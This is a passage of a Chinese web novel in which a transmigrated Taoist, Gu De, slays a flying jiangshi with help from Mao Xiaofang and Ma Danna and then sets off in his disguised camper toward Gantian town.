古德眼角余光扫到无心的处境,心里跟明镜似的。
必须快,必须在尸潮彻底合围之前,解决掉阵里这个祸根。
否则等它们里外一起发力,就真的被动了。
他眼神一冷,不再有任何保留。
第296章 忽然出现的两个人
体内《混元六九篇》疯狂运转,气血如同长江大河般奔腾咆哮,法力如同火山喷发般汹涌而出。
古德双手紧握青铜阔剑,剑身上的七点星纹前所未有的明亮,仿佛七颗微缩的星辰在剑身上燃烧!
“北斗七星,听我号令!接引星力,诛邪灭魔!”
他口中念诵真言,沟通冥冥之中的北斗星力。
虽然此刻是阴沉白昼,但七星亘古长存,星辰之力无处不在。只见七道微不可查、却精纯无比的清冷星辉,仿佛穿透了厚厚的云层,跨越无尽距离,汇入剑身星纹之中。
青铜阔剑剧烈震颤,发出清越的剑鸣,金光与星光交织,散发出令人心悸的毁灭气息。
“北斗注死,贪狼破煞!破军摧坚!禄存镇邪!文曲乱神!廉贞化煞!武曲诛邪!巨门封禁!”
古德脚踏罡步,身形化作一道金色与星光交织的旋风,对着阵中惊疑不定、试图躲闪的飞僵,发动了**般的攻击!
北斗七星剑诀,七式连出,威力层层叠加,每一剑都精准地噼砍在飞僵身上,留下深可见骨、星光缭绕、难以愈合的恐怖伤口。
飞僵连连怒吼,身上不断增添伤口,尸气如同决堤般疯狂外泄,气息迅速萎靡。
它眼中终于露出了恐惧之色,不再敢硬接,开始拼命闪躲,只想拖延时间,等待外面尸潮磨灭阵法。
古德眼中冷光闪过。
这飞僵,灵智恢复得比预想还高,竟然知道审时度势,避实就虚了。
必须尽快解决它,否则无心撑不了多久,阵法也可能被尸潮磨破。
就在这紧要关头——
“道友莫慌!贫道来助你清理这些腌臜尸物!”
一个中气十足、透着股方正坦荡劲儿,又带着点急切的中年男人声音,突然从侧面长满灌木和杂树的山林子方向传了过来。
声音刚落,一道灰色的身影就像山崖间灵活的鹞鹰,“嗖”地一下从林子里掠出,脚步在崎岖地面上连点,速度快得很,几个起落就已经冲到了尸潮的外围。
来人是个看着约莫四十出头的中年道士,面容清瘦,嘴唇上留着整齐的八字胡,身上一件半旧不新的灰色衣袍,浆洗得有些发白,但穿得板正。
他手里提着一柄制式古朴的桃木剑,剑法施展起来简洁凌厉,没有半点花哨。
只见他手腕一抖,剑光闪过,靠近他的两具行尸便歪倒在地。
同时他左手一扬,几张黄符飘出,贴在其他扑来的腊尸额头上,那几具腊尸动作顿时一僵。
灰衣道士脚步不停,径直杀向无心被围的方向,剑挑符拍,很快便清理出一小片空地,与浑身溅满污浊液体的无心背靠在了一起。
“小兄弟,撑住了!”
灰衣道士说话间,又反手一剑刺穿一具腊尸的咽喉。
无心压力一轻,喘了口粗气,忙道:“多谢道长!”
两人背靠背,一个剑法老道,符箓犀利,一个血气刚猛,雷剑烁烁,配合起来,总算暂时抵住了尸潮最凶猛的冲击,让它们无法全力去冲击古德的阵法。
几乎就在灰衣道士出现的同时,另一个方向,一道清泠泠的、像冰泉水淌过石子,却又清晰穿透了嘈杂尸吼的女子声音响了起来:
“阵内那位道友,请暂控飞僵,将其击飞至阵壁附近,离地三尺以上!我有一法,可重创此獠!”
古德闻声,百忙之中瞥了一眼声音来处。
只见在另一侧靠近树林的一个小土坡上,不知什么时候静静站着一个人。
是个年轻姑娘,身姿挺拔,尤其一双腿又直又长,很是显眼。
她梳着两条粗黑的麻花辫,垂在肩头,身上穿着民国少见的紫色花裙,朴素干净,眼神却亮得出奇,正紧紧盯着阵内的战况,双手垂在身侧,手指似乎在做着某种细微的动作。
这两人来得突兀,但看其言行举止,尤其是那灰衣道士主动出手对付尸潮,显然并非敌人。
在这紧要关头,古德心念电转,选择相信这份突如其来的援手。
是敌是友,稍后再说,先解决眼前的飞僵和尸潮危机要紧!
“好!有劳二位援手!”
古德扬声回应,话音干脆。
他手上剑势非但没停,反而陡然再快三分,星光剑气织成一张密网,逼得那飞僵连连嘶吼后退,不知不觉已被逼到了阵法光罩的边缘附近。
同时,他空着的左手抬至胸前,食指中指并拢,对着插在阵眼位置那杆微微震颤的黄色主旗凌空一点,口中疾念:
“五行流转,阵随我心!五岳颠倒,阴阳逆行!清气下降,浊气上升——起!”
咒言一出,整个“五行镇岳天罗地网阵”的运转方式瞬间变了!
那原本缓缓旋转、带来沉重**之力的五岳虚影,忽然模糊、颠倒!
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光罩内流转的五色灵光运行轨迹瞬间逆转!
阵法范围内,那股一直向下**的力量消失了,取而代之的是一种奇异的、向上托举的力道!
仿佛这片地面的重力被短暂地扭曲、翻转了!
那正在四处躲闪的飞僵,完全没料到阵法还有这等变化,猝不及防之下,只觉周身一轻,仿佛脚下大地失去了吸力,整个身体不受控制地向上飘起!
它惊怒交加,手舞足蹈,想要操控尸气稳定身形,但在阵法逆转的力量和自身重伤之下,一时难以适应。
古德看准这稍纵即逝的时机,身形暴起,手中青铜阔剑再次星光凝聚,不过这次不是劈砍,而是用宽阔的剑身,运足力气,由下至上,一记猛烈的上撩!
“给我上去吧!”
“嘭!”
剑身结结实实拍在飞僵的腰腹之间,配合阵法上托之力,将这头凶物如同拍皮球一般,狠狠击飞向空中!
虽然阵法高度有限,飞僵只被击飞到离地三四丈的高度,并且开始下坠,但这短暂的浮空,已然足够!
就在飞僵身躯滞空、无处借力的这一刹那——
土坡上,那麻花辫姑娘一直垂在身侧的双手倏然抬起,在胸前结出一个复杂而稳定的手印。
不知何时,一张颜色深紫、隐有流光暗转的符箓,已然悬浮在她双手印诀之前,无风自动。
她清冷的声音陡然拔高,每一个字都咬得清晰无比,带着一种独特的、撼动人心的韵律,穿透战场上所有的嘶吼与杂音,清晰地传入每个人、以及那飞僵的耳中:
“临!兵!斗!者!皆!阵!列!前!行!”
九字真言,一字一顿。
每吐出一字,她周身仿佛就有无形的气势鼓荡一分,那身朴素的紫布上衣下摆微微飘拂。
当她最后那个“行”字脱口而出的瞬间,以她为中心,似乎凭空生出一股清冽的气流。
紧接着,她印诀一变,对着空中那下坠的飞僵,清吒出声:
“诛——邪——!”
悬浮在她面前的紫色符箓猛地爆发出耀眼的紫金色光芒,符纸上那些玄奥的朱砂纹路仿佛活了过来。
下一秒,一道纯粹由炽烈光芒凝聚而成的龙形虚影,从符光中心昂然跃出,发出一声低沉威严的的龙吟,以迅雷不及掩耳之势,划破空气,直冲半空中那面露恐惧的飞僵而去!
第297章 飞僵终伏诛
那璀璨纯白的诛邪光龙,不过手指粗细,却蕴含着马家传承的神龙之力。
它快如闪电,精准无比地穿过五行阵法短暂打开的缝隙。
飞僵此时被古德一剑劈得高高抛起,正旧力已尽、新力未生、身躯正处于最尴尬的悬空状态,根本无法做出有效闪避的刹那。
“噗嗤!”
一声轻响,像是烧红的烙铁探入冷水。
光龙毫无阻碍地穿过了那层稀薄的尸气,紧接着,便从那飞僵大张着露出獠牙的胸口位置,一透而过!
没有血肉横飞的场景。
光龙穿过之处,飞僵那刀剑难伤的青黑躯体上,留下了一个前后通透的、边缘处不断闪烁着细小电芒的可怕空洞。
空洞周围的皮肉筋骨,如同被高温瞬间碳化,呈现出一种焦黑的结晶状。
更可怕的是,那股诛邪之力在它体内轰然爆发,疯狂破坏着它赖以生存的尸气本源。
“嗷……吼!!!”
飞僵的咆哮声戛然而止,变成了极度痛苦与虚弱的哀鸣。
它身上那令人心悸的凶厉气息如同被扎破的气球,急速衰退。
周身萦绕的浓黑尸气失去了控制,从它体内、从那个可怕的空洞里,以及之前古德斩出的所有伤口中,不受控制地喷涌出来,像是一团团泼洒开的浓墨。
就是现在!
古德眼中寒光如电,岂会放过这千载难逢的绝杀之机。
他脚下猛地一蹬,湿软泥泞的地面被踏出一个深坑,身形如同出膛的炮弹,紧随着那尚未完全消散的诛邪光龙之后,冲天而起!
手中青铜阔剑上,北斗七星的虚影尚未完全暗淡,残余的星辰之力与古德自身澎湃的法力、气血之力完美融合,在剑刃上凝聚成一层吞吐不定、锐不可当的暗金色锋芒。
“死!”
没有繁复的招式,甚至没有呼喊咒言。
古德吐气开声,双手握剑,以力劈华山之势,对着胸前破开大洞、尸气狂泄、正处于最虚弱状态的飞僵,拦腰横斩而去!
这一次,再没有金铁交鸣的巨响。
“嗤——咔嚓!”
如同快刀斩过腐朽的枯木,又像利刃切开韧皮。
青铜阔剑带着摧枯拉朽的威势,轻而易举地切开了飞僵那失去浓密尸气护持的腰身。
剑锋过处,暗红色的污血和更加粘稠的黑色尸煞如喷泉般涌出,但瞬间又被剑上残留的星力与至阳气息蒸发、净化。
飞僵的惨嚎戛然而止,上半身与下半身瞬间分离,断口处一片焦黑。
然而,这还没完!
那道贯穿了飞僵胸膛的诛邪光龙,在空中一个灵巧的回旋,仿佛拥有生命一般,再次调转方向,如同穿花蝴蝶,迅捷无比地分别从那被斩成两截、尚未完全失去活性的残躯之中,一穿而过!
“滋滋滋——!”
这一次,效果截然不同。
光龙所过之处,飞僵的残躯如同被投入烈火的冰雪,迅速消融、碳化、最终化为两小堆不断冒着黑烟、迅速缩小、失去一切活性和邪恶波动的焦黑灰尽。
混杂在泥水之中,再也不可能愈合,也不可能再兴风作浪。
不可一世、为祸一方的飞僵,就此彻底湮灭,魂飞魄散!
就在飞僵毙命的瞬间,那本就因维持高强度运转、又受尸潮冲击而摇摇欲坠的“五行镇岳天罗地网阵”,再也无法维持。
插在五方的阵旗同时光芒一暗,“波”的一声轻响,那笼罩战场的半透明光罩如同泡影般破碎、消散。
五面阵旗也自动从泥土中弹出,光泽暗淡地飞回古德手中,显然损耗不小,需要温养一段时间。
古德落地,气息略微有些急促。
接连施展北斗剑诀、维持阵法、又爆发全力斩杀飞僵,对他也是不小的消耗。
但他不敢有丝毫停歇,因为阵外还有黑压压的尸潮,以及正在其中奋力搏杀的无心。
“无心,撑住!”
古德低喝一声,甚至来不及调息,手中青铜阔剑一振,身形便化作一道金色残影,朝着那密密麻麻、仍在疯狂涌来的腊尸和行尸潮冲杀过去!
他不再施展消耗巨大的星力剑诀,但仅凭《混元六九篇》赋予的恐怖肉身力量、磅礴气血,以及金光咒带来的至阳破邪属性,冲入尸潮之中,便如同虎入羊群!
手中青铜阔剑大开大合,没有花哨的招式,只有最简单直接的噼、砍、扫、
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刺。
剑刃之上,金光流转,对阴邪之物的克制力依旧存在。
那些寻常刀剑难伤的腊尸,在古德的剑下,简直如同纸糊的一般。
一剑横扫,三四具腊尸拦腰而断,断面焦黑,倒地抽搐。
反手一噼,一具试图从侧面扑来的行尸从头到脚被分成两半。
抬脚一踹,一具靠近的僵尸便如同被卡车撞中,胸口凹陷,倒飞出去撞倒一片。
古德在尸潮中左冲右突,所向披靡,硬生生杀出了一条血路,与无心和那位突然出现的中年道士汇合。
他所展现出的恐怖力量和高效杀戮,让一旁同样在奋力杀敌的中年道士看得咋舌不已,心中暗惊:
“这位道友……好生猛烈!这肉身力量,这气血阳刚,简直非人!还有那剑法……看似简单,实则大巧不工,每一击都恰到好处,效率奇高。恐怕是得了上古炼体真传的高人。”
他摇了摇头,将这些念头压下,继续专心对付眼前的僵尸。
不过有了古德这个猛人如同砍瓜切菜般清理尸群,他和无心的压力顿时大减。
另一边,土坡上的麻花辫姑娘在释放出那威力惊人的紫符光龙后,脸色肉眼可见地苍白了几分,额角也渗出了细密的汗珠。
她没有像古德那样立刻冲下去参与清剿,而是站在原地,双手自然下垂,微微闭上双眼,胸膛有节奏地起伏,显然是在快速调息,恢复刚才那一击消耗的法力与精神。
只是她的耳朵微微动着,依旧关注着下方的战局。
对她而言,飞僵已除,剩下的这些普通腊尸行尸,有古德和那中年道士在,已不足为虑。
战斗很快呈现一边倒的态势。
失去了飞僵的统御和尸气核心的持续增强,这些僵尸不过是些凭着本能活动的躯壳。
在古德这头人形凶兽的带领下,加上中年道士老辣精准的符剑配合,以及无心那带着雷火之力的桃木剑从旁策应,剩余的尸潮以肉眼可见的速度被清理。
一刻钟后,最后几具试图逃回山林阴影处的行尸,也被中年道士甩出的符箓定住,继而由无心上前一一刺穿头颅。
周围终于彻底安静下来。
第298章 **小方和马丹娜?僵约?
先前那震耳欲聋的尸吼、激烈的打斗声、符箓的爆鸣、剑锋的破空声,全都消失了。
只剩下山风穿过林木发出的呜呜轻响,以及弥漫在空气中,浓烈到几乎化不开的、令人作呕的复杂气味。
那是尸体**的恶臭,混杂着腊尸特有的、类似于熏肉放久了的哈喇味,还有被雷火、星力、纯阳血气炙烤后产生的焦糊怪味。
地上横七竖八,躺了不下两百具奇形怪状的尸体。
有干瘪发黑的腊尸,有皮肤灰败浮肿的行尸,还有少量穿着破烂清兵号衣或是平民服饰的僵尸,场面狼藉不堪,如同一个微型的修罗屠场。
古德意念一动,一层淡淡的、肉眼几乎难以察觉的金色光晕从他体表微微扩散开来,将他自己以及走近的无心笼罩其中。
正是金光咒的初级运用,并非用于防御,而是简单地隔绝了那无孔不入的恶臭。
空气顿时清新了不少。
古德缓缓吐出一口浊气,平复了一下体内奔涌的气血和法力,这才有暇仔细看向前来援手的两人。
他的目光首先落在那位中年道士身上。
这一看,古德心中不由得微微一动,升起一丝古怪的恍惚感。
只见这中年道士约莫四十出头年纪,面容清瘦,五官端正,眉宇间自带一股凛然正气,但气质却比林九英要温和一些,少了几分林九英那种时刻绷紧的严肃,多了几分历经世事的沉稳与宽和。
他穿着一身半旧但浆洗得十分干净的灰色道袍,背着一个鼓鼓囊囊的布袋,手中桃木剑斜指地面,剑尖还滴落着些许污血。
最重要的是,这张脸……古德越看越觉得眼熟。
不是一般的眼熟,而是和他刚刚分别不久的“九哥”林九英,竟然有六七分相似!
只是气质迥异,一个外冷内热、严谨方正,一个温润内敛、正气平和,但眉眼神情间的轮廓,却像是一个模子刻出来的兄弟。
“又是一个林正英……还是...?”
古德在心里猜测着,不过,他脸上并未露出异样,只是将这个念头压下。
他转而看向那位已经调息完毕走过来的麻花辫姑娘。
这位麻花辫姑娘看年纪不过二十左右,身姿挺拔,气质清冷出尘,如同山巅雪莲。
古德收敛心神,对着两人郑重地抱拳拱手,行了一个标准的道家拱手礼。
无心也连忙跟在身后,有样学样地拱手。
“在下古德。”
古德开口,声音因方才的激战略带沙哑,但语气诚恳。
“这位是我的同伴,无心。方才形势危急,多谢两位道友仗义出手,鼎力相助。古某感激不尽。”
他顿了顿,看向两人,“不知两位道友如何称呼?今日之恩,古某铭记于心。”
那中年道士见古德如此客气,也连忙收起桃木剑,正了正衣冠,拱手还礼,脸上带着温和诚挚的笑容,声音平和地说道:
“古道友太客气了,斩妖除魔,本是我辈分内之事,何谈恩情。在下天道派**小方,云游四方,今日路过此地,见尸气冲天,怨念汇聚,知有邪物为祸,特来查看。不想正逢道友苦战,能略尽绵力,幸甚幸甚。”
他顿了顿,看向一旁的麻花辫姑娘,介绍道,“至于这位道友……说来惭愧,贫道也是方才在此地附近与她巧遇,见她亦是为这冲天尸气而来,便一同前来。还未来得及请教道友名讳。”
那麻花辫姑娘闻言,上前一步,对着古德和**小方微微颔首,算是见礼。
她的声音如同她的人一般,清脆中带着些许清冷,但语气倒是颇为坦诚:
“我叫马丹娜,驱魔龙族马氏一家当代传人。我并非为此地尸气专程而来,乃是一路追踪僵尸王将臣的踪迹至此。感应到此地尸气异常浓烈,还以为是那将臣在此作祟,故而前来查探。”
说到“将臣”二字时,她清冷的眼眸中闪过一丝锐利如剑的光芒,但随即又暗淡下去,露出一抹淡淡的失望,“可惜,并非将臣,只是一具成了气候的飞僵罢了。”
马丹娜……驱魔龙族马氏一家……追踪僵尸王将臣……
古德听着这两个名字和介绍,饶是他心智坚定,见多识广,此刻也感觉要裂开了,心里已经无数个“**”排着队呼啸而过。
差点没维持住脸上那副淡定的表情。
**小方!马丹娜!南**北马!
一个是他前世回忆里,那部经典电视剧《僵尸道长》里正气凛然、道法高深的男主角!
怪不得和林九英长得像,根本就是同一个演员!
难怪刚才觉得眼熟又古怪。
另一个,更是重量级!
《我和僵尸有个约会》里,马小玲那位风华绝代、道法高强、一生以追杀将臣为己任的姑婆!
驱魔龙族马家的传人!长腿精……啊不,是马家的天才美少女!
古德感觉自己的嘴角似乎在不受控制地微微抽搐。
他原本以为这个世界只是融合了一些港产灵异片,顶多加点《灵魂摆渡》那种级别的“灭世”危机。
好家伙,现在连《僵约》这种动不动就牵扯到上古魔神、命运、灭世重启的都冒出来了。
僵尸王将臣是什么存在?
在电视里那
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可是盘古族,是近乎神魔的终极生命体!
跟将臣比起来,刚才那具飞僵,简直就是刚学会走路的小娃娃跟泰森的区别!
不,是蚂蚁跟哥斯拉的区别!
“怪不得……怪不得这世界的求救信号那么急切,要求拯救的世界那么宏大……”
古德心里瞬间跑过一万头羊驼,忍不住疯狂吐槽。
“感情这潭水不是深,是**无底深渊啊!一个两个的都想着灭世玩儿?《灵魂摆渡》里原人想灭世重来。
《僵约》里命运、将臣、女娲、人王……个个都不是省油的灯,动不动就灭世重启……
我这小身板,拿什么救?用爱吗?还是用我刚练到LV4的《黄庭经》和《混元六九篇》去跟将臣肉搏?不如直接摆烂算了!这破世界,没救了,等死吧。告辞!”
一股强烈的、想要立刻找个深山老林苟到天荒地老的冲动,涌上古德心头。
这任务难度,简直是地狱级开局。
好在,他强大的心理素质和在上一个世界锻炼出的“表情管理”能力,最终还是强行压下了内心的惊涛骇浪和吐槽欲望。
这剧烈的心理活动仅仅让他眼神凝固了那么零点几秒,呼吸略微滞涩了一瞬,便迅速恢复了正常。
“原来是毛道长,马姑娘。”
古德再次拱手,语气已经听不出任何异常,反而带着恰到好处的钦佩。
“久仰‘南**北马’大名,今日得见,果然名不虚传。毛道长符剑精妙,根基扎实;马姑娘方才那一道诛邪符龙,威力惊人,更是令古某大开眼界。”
他这话半是客气,半是真心。
**小方的实力自不必说,马丹娜年纪轻轻,能施展出那样威力的符法,马家嫡传的底蕴确实深厚。
马丹娜听到“北马”二字,眼睛微微亮了一下,但也没多说什么,只是点了点头。
她看了看满地的僵尸残骸,又抬眼望向远处苍茫的山林,眉头微蹙,似乎心绪已经飘到了追踪将臣的事情上。
“古道友,毛道长,无心道友。”
马丹娜收回目光,对着三人抱了抱拳,动作干脆利落,带着江湖儿女的爽快。
“此间事了,我还得继续去寻那将臣的踪迹,不便久留。就此别过,愿三位一切顺利,江湖路远,后会有期。”
说完,她也不拖泥带水,转身就走。
脚步轻盈而稳健,两个粗黑的麻花辫在背后随着她的动作轻轻晃动,几个轻盈的起落,便已消失在侧方的山林之中,端的是来去如风,洒脱至极。
古德望着她消失的方向,眼神有些复杂。
第299章 去**小方那边,似乎是个不错的选择
马家……历代女子,皆以追杀将臣为己任,几乎成了束缚这个家族的沉重宿命。而将臣……
古德想到那位在《僵约》里大部分时间都在沉睡、偶尔醒来谈谈恋爱、其实并不算特别热衷灭世的僵尸之王,只能暗自摇头。
这马家,某种程度上,也是被命运**的可怜人。
只能说,将臣的脾气,是真的好过头了,换个人被这么追着杀几千年,早掀桌子了。
不过……马丹娜出现在这里,还在追踪将臣,那是不是意味着,僵约的主线剧情,或者说某些重要节点,已经开始或即将开始了?
况天佑,山本一夫……这些名字在他脑中掠过。
古德忽然觉得,自己那“摆烂”的想法,似乎有点过于天真了。
树欲静而风不止,有些旋涡,不是你想躲就能躲开的。
“唉,订单……公里点数……”古德在心里默默叹了口气。
吐槽归吐槽,系统的任务还是要完成的。
要是把黄庭经》和《六九篇》升级到LV5,或许LV5以上,那这次的订单任务还是有完成的希望的……
不过还是需要更多的订单赚公里点数才行,他这边思绪纷飞,一时陷入了沉默。
“古道友?古道友?”
**小方温和的声音将古德从纷乱的思绪中拉回。
古德回过神,看向**小方,略带歉意地笑了笑:“抱歉,毛道友,方才有些走神。此次真是多亏你了。”
**小方摆摆手,笑道:
“古道友客气了,你我同心协力,方才除此大害。如今飞僵伏诛,尸潮平息,此间阴煞之气虽重,但日晒雨淋,过段时日自会消散。贫道也要告辞了,还需去前方镇上看看,是否有百姓受此次尸气泄露的影响。”
告辞?古德心中一动,看着**小方那与林九英相似却又更加温和亲切的面容,一个念头不可抑制地冒了出来。
僵尸道长……**小方……甘田镇!
对啊!
按照《僵尸道长》的剧情,**小方的主要活动地点,就是甘田镇!
那里简直就是个灵异事件多发地,什么慈禧墓、告鲁斯伯爵、玄魁父子……各种妖魔鬼怪、僵尸邪术层出不穷。
**小方作为镇守甘田镇的高人,三天两头就要处理各种麻烦,经常需要帮手……
这不就是现成的、稳定的“订单来源”吗?
己现在没有明确的目的地,不如……跟着这位“剧情人物”走走?
再说跟**小方混熟了,以他那种正气凛然、有事真上的性格,以后遇到难缠的妖魔鬼怪,说不定就会想到求助自己这个实力不错的道友?
到时候,那“订单”岂不是会自己送上门来?
这可比自己漫无目的地乱撞,等着系统随机发布任务要靠谱多了啊!
想到这里,古德看向**小方的眼神,顿时变得无比“热忱”和“真诚”。
他上前一步,再次郑重拱手,语气充满了感激和坚持:
“毛道友高义,古某佩服。此次援手之恩,不可不谢。在下漂泊四方,暂无定所,不知毛道友仙乡何处,道场安在?他日古某必定登门拜访,略备薄礼,以谢今日之情。还望毛道友不吝告知。”
**小方闻言,连忙摆手,脸上露出一丝哭笑不得的表情:
“古道友,你太客气了。你我同为修道之人,守望相助是本分。拜谢之事实在不必,更无需备礼。论道交流,贫道倒是欢迎之至。”
古德却摆出一副坚持的样子,眼神恳切:
“毛道长休要推辞。礼数不可废,还望道长不吝告知宝观所在,全了古某这番心意。”
**小方见古德如此坚持,态度又如此诚恳,不似虚情假意,心中也对这位法力高深、性情磊落的年轻散修颇有好感。
他沉吟片刻,便坦坦荡荡地笑道:
“既如此,贫道便不再矫情了。贫道在南方粤省一带的甘田镇,设有一处小小道场,名曰‘伏羲堂’,平日便在堂中修行,偶尔也为镇民处理些俗务。
古道友他日若路过粤省,可来甘田镇寻我。至于拜谢之礼,切莫再提,若来,便是道友相聚,品茶论道即可。”
甘田镇!伏羲堂!对上了!
古德心中大定,脸上笑容更盛,从善如流地点头:
“毛道友所言极是,是在下着相了。他日若有缘路过甘田镇,必定登门叨扰,与毛道友坐而论道,届时还望毛道友不嫌古某学识浅薄才好。”
“古道友过谦了,欢迎之至。”
**小方含笑应下,又看了一眼满地的狼藉,以及远处死寂的大方伯村,叹了口气,“此间尸秽之气仍需时日化散,古
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道友与无心兄弟也请多加小心。贫道便先行一步了。保重!”
“毛道友保重。”
“毛道长慢走,一路顺风。”
古德和无心一同拱手。
**小方便不再多言,转身朝着另一个方向,步伐稳健地离去,灰色道袍的背影很快也消失在苍茫的山色之中。
等到**小方的身影彻底看不见,一旁早就憋了半天的无心,立刻凑到古德身边,挤眉弄眼,嘿嘿低笑道:
“东家,咱们下一站……是不是就去这位毛道长所在的甘田镇啊?我看您对他可是热情得很呐。”
这时,一直听从古德吩咐、乖乖待在隐匿房车里的阿草,也小心翼翼地推开车门,探出脑袋,见外面确实安全了,才跳下车跑到古德身边,小脸上还带着未褪的紧张:
“老板,你没事吧?刚才吓死我了。”
古德笑着揉了揉阿草的头发,对无心道:
“就你聪明。甘田镇,当然要去。这位毛道长,可是位了不得的人物,跟着他,说不定能碰到不少有意思的事情。”
她刚才一直听从古德的传音嘱咐,老老实实待在车上,古德在之前就开启了房车的视觉隐匿功能,所以也不担心阿草被发现,只要阿草不下来就好。
古德是担心马丹娜和**小方这两位一看就非寻常的修士,对这辆明显不属于这个时代的房车产生过多注意和探究,平添不必要的麻烦。
毕竟,房车的来历,解释起来太复杂,而且可能触及他自身的秘密。
“得嘞!东家说去哪就去哪!”无心一脸无所谓。
阿草则是无条件听从古德的任何决定,只是安静地点点头。
“走吧,先离开这儿。找个地方休整一下,洗洗这一身晦气。”
古德挥了挥手,转身朝着房车走去。
无心连忙跟上,嘴里还念叨着:“是该洗洗,这味儿,隔夜饭都快吐出来了……东家,你那金光咒能不能给我也来一层?”
阿草看着两人的背影,抿嘴笑了笑,也快步跟了上去。
房车发出一阵低沉的轰鸣,缓缓启动,调转车头,驶离了这片弥漫着死亡与腐朽气息的山坳,将满地狼藉的尸骸与尚未散尽的硝烟,渐渐抛在了身后起伏的山峦之间。
前路茫茫,但至少,下一个暂定的目的地,已经出现了。
第300章 看到了一个熟人
车子在山路上平稳行驶,将那片弥漫着尸臭的山坳远远甩在后面。
古德心念微动,面前浮现出那熟悉的半透明全息导航界面。
他在搜索栏中,用手指凌空写下“甘田镇”三个字。
“正在搜索目的地‘甘田镇’……搜索完成。位于当前坐标东南方向,直线距离约一百二十公里。规划路径中……路径规划完成。预计行程时间,约两个时辰。”
柔和的女声系统提示音在脑海中响起,一条清晰的蓝色路径线在地图上显现出来。
“走吧,去甘田镇。”
古德确认了路线,对副驾驶的阿草说道,同时将驾驶模式切换到了隐匿模式。
顿时,车外光线一阵细微的扭曲,整辆房车迅速变得透明、模湖,最终仿佛融入了空气和周围的景色之中,只剩下极其微弱的气流扰动显示着它的存在。
车辆开始平稳地加速,沿着导航规划的路径,驶离了这片刚刚经历激战、依旧弥漫着澹澹尸臭和焦灼气息的山野。
“阿草,接下来你来开,注意路况,稳当点。我身上都是泥和僵尸的晦气,得先去洗洗。”
古德解开安全带,对阿草吩咐道。
刚才一番大战,虽然金光咒护体,没沾染太多污秽,但心理上总觉得不舒服。
“好的老板,交给我吧。”
阿草乖巧地点头,接过了方向盘的操控权。
古德离开驾驶舱,来到房车内部宽敞整洁的卫生间。
温热的水流冲刷掉身上的疲惫和若有若无的腥气,也冲淡了刚刚经历激战和得知“南**北马”世界观带来的那点复杂心绪。
洗完澡,换上干净舒适的便服,整个人感觉清爽了许多。
他擦着头发走回前面的生活区时,看到无心已经在外面的公用淋浴间快速冲洗完毕,换上了一身干净的粗布衣裳,正手里拿着一个夹着厚厚肉饼、生菜、番茄和酱汁的汉堡,大口大口地啃着,吃得满嘴流油,一脸满足。
看到古德出来,无心举起手里啃了一半的汉堡,含含湖湖地问:“东家,洗完了?来一个不?!”
古德看着他那吃相,有些无语地摆了摆手:“你吃吧,我刚洗完,没胃口。”
他在无心对面坐下,给自己倒了杯清水。
啃完最后一口汉堡,无心意犹未尽地舔了舔手指上的酱汁,打了个小小的饱嗝,这才看向古德,问道:“东家,是不是有啥事?”
古德沉吟了一下,手指轻轻敲着桌面,看着无心问道:
“无心,你……活了挺久了吧?见识应该不少。我问你,你对将臣,了解多少?”
“将臣?”
无心闻言,咀嚼的动作停了下来,眉头微微皱起,露出思索的神色。
他放下水杯,表情变得有些严肃,不像平时那副吊儿郎当的样子。
“将臣啊……”
无心缓缓开口,似乎在组织语言,“听说过,但没见过。这东西……很邪门,跟我们平时对付的那些僵尸,不太一样。”
他斟酌着词句:
“按照一些非常古老的、几乎快失传的传说来讲,将臣好像不是自然形成的僵尸,也不是被人炼出来的。传说他是什么……盘古族人?听起来挺唬人的。
意思就是,他跟咱们凡人,甚至跟一般的妖魔鬼怪,可能都不是一个品种。所以他虽然也是僵尸的样子,也吸血,但灵智好像没丢,不像普通僵尸那样浑浑噩噩只知道吸血杀戮。”
无心顿了顿,脸上露出困惑的表情:
“不过,这也只是传说。我醒着的时候,零星听到过一些关于将臣出没的消息,但每次说法都不太一样。
有时候说他神出鬼没,有时候又说他疯疯癫癫,但有一点是共同的,只要他出现的地方,必定会掀起一阵腥风血雨,死伤无数。
所以他这名头,在知道点内情的修行圈子里,还是挺响的,属于那种‘只闻其名,谈之色变’的主儿。”
他喝了口水,又补充道:
“对了,东家。还有种说法,不知道靠不靠谱。说西洋那边流行的吸血鬼,最早可能就跟将臣有点关系。传闻是不知道多少年前,将臣不知道发什么疯,跑把过来做生意的几个洋鬼子给咬了。
结果那些洋鬼子没变成咱们这边这种蹦跳的僵尸,反而变成了怕太阳、怕大蒜、怕银器,但能变蝙蝠、活得挺久、自称什么血族的怪胎。也不知道是水土不服,还是将臣的品种到那边变异了。”
古德听完,若有所思地点了点头。
无心的说法,和他前世了解的一些《僵约》设定以及东西方吸血鬼传说,隐隐能对上一些。
将臣是盘古族,不同于普通僵尸,这点应该没错。
西方的吸血鬼传说,确实有很多地方像弱化版、加了诸多限制的僵尸,这个联想倒也有趣。
“怕阳光、怕大蒜银器……”
古德心里琢磨,“将臣和他直接咬的后代,好像是不怕这些的。看来西方的吸血鬼,要么是血脉传递太远弱化了,要么真就是不同祖宗弄出来的另一种东西。
说不定这世上僵尸也分好几类,将臣系的算一类,道士炼的算一类,西洋吸血鬼再算一类……”
想到这里,古德自己都觉得有点荒诞,忍不住在心里吐槽了一下这个越来越复杂的世界。
不过他很快调整心态,知道现在想这些还太远。
当务之急,是提升实力,跟着**小方刷个订单。
“行了,我知道了。你休息吧,我也去歇会儿。”
古德结束了话题,起身回了
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自己的卧室。
今天消耗不小,需要好好恢复一下。
一夜无话。
房车在阿草平稳的驾驶下,于隐匿中穿越夜色和山野,朝着甘田镇的方向不断接近。
第二天一早,天色刚蒙蒙亮,古德卧室的门就被轻轻敲响了。
外面传来阿草清脆的声音:“老板,醒了吗?我们快到甘田镇了,还有大概十里路。接下来怎么安排?”
古德伸了个懒腰,起身开门。阿草已经穿戴整齐,站在门口。
“到了?”
古德走到驾驶舱,透过单向车窗望出去。
远处的地平线上,已经能看到一片规模不小的城镇轮廓,在晨雾中若隐若现,比任家镇看起来要大上不少。
更远处还能看到蜿蜒的河流和农田。
“把隐匿模式关掉,切换成‘带篷马车’标准伪装。然后直接开车进镇,打听一下伏羲堂或者**小方道长的住处。”
古德吩咐道。
“明白。”
阿草熟练地在控制面板上操作了几下。
很快,车外光影一阵变幻,那辆“神骏”的白色双马拉着深棕色车厢的带篷马车,再次出现在乡间土路上,马蹄(伪装的)嘚嘚,不紧不慢地朝着甘田镇驶去。
随着距离拉近,甘田镇的全貌逐渐清晰。
镇子依山傍水而建,一条颇为宽阔的青石板主街贯穿全镇,街道两旁是鳞次栉比的店铺,招牌幌子在晨风中轻晃。
